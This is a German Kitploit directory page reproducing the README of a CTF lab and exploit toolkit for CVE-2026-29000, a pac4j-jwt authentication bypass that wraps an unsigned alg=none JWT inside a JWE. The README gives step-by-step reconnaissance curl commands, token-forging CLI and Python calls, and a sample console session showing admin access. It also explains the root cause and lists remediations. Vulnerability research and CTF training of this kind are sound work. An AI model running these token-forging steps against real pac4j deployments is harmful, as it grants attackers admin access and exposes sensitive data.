Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-29000 — # CTF-Lab und Exploit-Toolkit für CVE-2026-29000, eine pac4j-jwt JWE-Authentifizierungsumgehung. Enthält ein verwundbares Flask-Ziel, eine Token-Fälschungsbibliothek, eine interaktive Exploit-Konsole und einen Java-PoC. | Kitploit
Tools/GitHubGitHub/clayofgilgamesh/cve-2026-29000
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsAuthentifizierungLernen & BildungLabs & Praxis
GitHub
clayofgilgamesh/cve-2026-29000

CVE-2026-29000

# CTF-Lab und Exploit-Toolkit für CVE-2026-29000, eine pac4j-jwt JWE-Authentifizierungsumgehung. Enthält ein verwundbares Flask-Ziel, eine Token-Fälschungsbibliothek, eine interaktive Exploit-Konsole und einen Java-PoC.

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-29000 — pac4j-jwt JWE Authentication Bypass

CTF-Lab zur Untersuchung der JWE-Authentifizierungsschwachstelle in der Bibliothek pac4j-jwt CVSS 9.3 (Critical) · CWE-287 · Betroffen: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


Übersicht

pac4j-jwt in betroffenen Versionen erlaubt die vollständige Umgehung des JWT-Authentifizierungsmechanismus, indem ein PlainJWT (alg=none, ohne Signatur) erstellt und in eine JWE (JSON Web Encryption) eingebettet wird. Nach dem Entschlüsseln der JWE-Schicht prüft die Bibliothek den Algorithmus des inneren JWT nicht — die Claims werden vollständig vertraut, einschließlich der Rollen.

Angriffskette:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← Versionsleck → Framework identifizieren
       ↓
OIDC Discovery → JWKS → RSA public key   ← öffentliche Informationen
       ↓
JWE fälschen (PlainJWT alg=none, ROLE_ADMIN)
       ↓
Auth-Bypass → GET /admin?token=<JWE>     ← Zugriff auf Admin-Panel
       ↓
Sensible Daten lesen: Mitarbeiterliste, Systemkonfiguration, Flag

Projektstruktur

root@kitploit:~
CVE-2026-29000/ ├── lab/ # Ziel – Flask-App (NexusBank Employee Portal) │ ├── app.py # Hauptanwendung mit Schwachstelle │ ├── Dockerfile # Flag wird beim Build in /flag.txt eingebettet │ └── requirements.txt │ ├── token_forge/ # Python-Bibliothek zum Erstellen gefälschter JWE-Tokens │ ├── forge.py # forge_token() │ ├── jwe_builder.py │ ├── keys.py │ ├── claims.py │ └── cli.py # CLI: python -m token_forge │ ├── scripts/ │ └── exploit.py # Interaktive Exploit-Konsole (Metasploit-Stil) │ ├── poc/ # Java-PoC – bestätigt Bypass im Prozess │ ├── src/main/java/Poc.java │ └── pom.xml │ ├── tests/ ├── docker-compose.yml └── requirements.txt

Anforderungen

WerkzeugVersionHinweis
Docker Desktop24+Startet das Ziel-Lab
Docker Composev2+In Docker Desktop integriert
Python3.11+Führt exploit.py und token_forge aus
Java + Maven11+Nur für Java-PoC erforderlich

Installation

1. Repository klonen

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. Python-Abhängigkeiten installieren

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. Lab starten

root@kitploit:~
docker compose up -d lab

Bestätigen, dass das Lab läuft:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

Flag anpassen:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. Lab stoppen

root@kitploit:~
docker compose down

Exploit — Interaktive Konsole

exploit.py ist eine interaktive Konsole im Metasploit-Stil. Der Benutzer führt selbst Recon durch, um Informationen zu sammeln, und konfiguriert und nutzt dann den Exploit.

root@kitploit:~
python scripts/exploit.py

# Oder vorkonfiguriert über die Kommandozeile:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

Beispiel einer vollständigen Session:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

Öffnen Sie die URL oben im Browser, um das Admin-Dashboard aufzurufen.

PUBKEY unterstützt 3 Formate:

root@kitploit:~
# 1. JWKS-URL — wird automatisch abgerufen (empfohlen)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. Bereits heruntergeladene Datei
set PUBKEY /tmp/key.json

# 3. Raw-JSON direkt einfügen
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

Manueller Exploit (ohne exploit.py)

Schritt 1 — Recon

root@kitploit:~
# Framework über Response-Header erkennen
curl -sI http://TARGET:8080

# Versteckte Endpunkte finden
curl -s http://TARGET:8080/robots.txt

Schritt 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414: pac4j stellt diesen Endpunkt immer bereit
curl -s http://TARGET:8080/.well-known/openid-configuration

# RSA-Public-Key von jwks_uri abrufen
curl -s http://TARGET:8080/.well-known/jwks.json

Schritt 3 — JWE-Token fälschen

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

Schritt 4 — Auf Admin-Panel zugreifen

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# Bypass bestätigen
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# Admin-Dashboard im Browser öffnen
echo "http://TARGET:8080/admin?token=$TOKEN"

token_forge als Python-Bibliothek verwenden

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

Java-PoC (im Prozess)

Bypass direkt in der JVM mit Nimbus JOSE + pac4j 6.0.3 bestätigen:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# Nur Token ausgeben
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

Tests ausführen

root@kitploit:~
pytest tests/ -v

# Mit Coverage-Report
pytest tests/ -v --cov=token_forge --cov-report=term-missing

Ursache der Schwachstelle

StelleProblem
JwtAuthenticator.validateToken()Nach dem Entschlüsseln der JWE wird PlainJWT.parse() statt SignedJWT.parse() aufgerufen
_payload_to_claims() im Labbase64decode + json.loads direkt, ohne Signaturprüfung

Fehlerhafter Verarbeitungsablauf:

root@kitploit:~
JWE decrypt → Payload abrufen → base64decode → json.loads → Claims vertrauen
                                         ↑ fehlender Schritt: Signatur des inneren JWT prüfen

Behebung

MaßnahmeDetails
pac4j-jwt aktualisierenAuf >= 6.3.3 / 5.7.9 / 4.5.9
PlainJWT ablehnenalg != "none" nach dem Entschlüsseln der JWE prüfen
Versions-Header entfernenX-Powered-By in Produktion deaktivieren
Least PrivilegeContainer nicht mit Root-Rechten ausführen

Referenzen

  • pac4j Security Advisory
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — Improper Authentication
  • https://github.com/kernelzeroday/CVE-2026-29000

Warnung: Dieses Repository dient ausschließlich der Sicherheitsforschung und für CTFs in kontrollierten Umgebungen. Nicht auf Systemen ohne entsprechende Genehmigung verwenden.

Tool herunterladen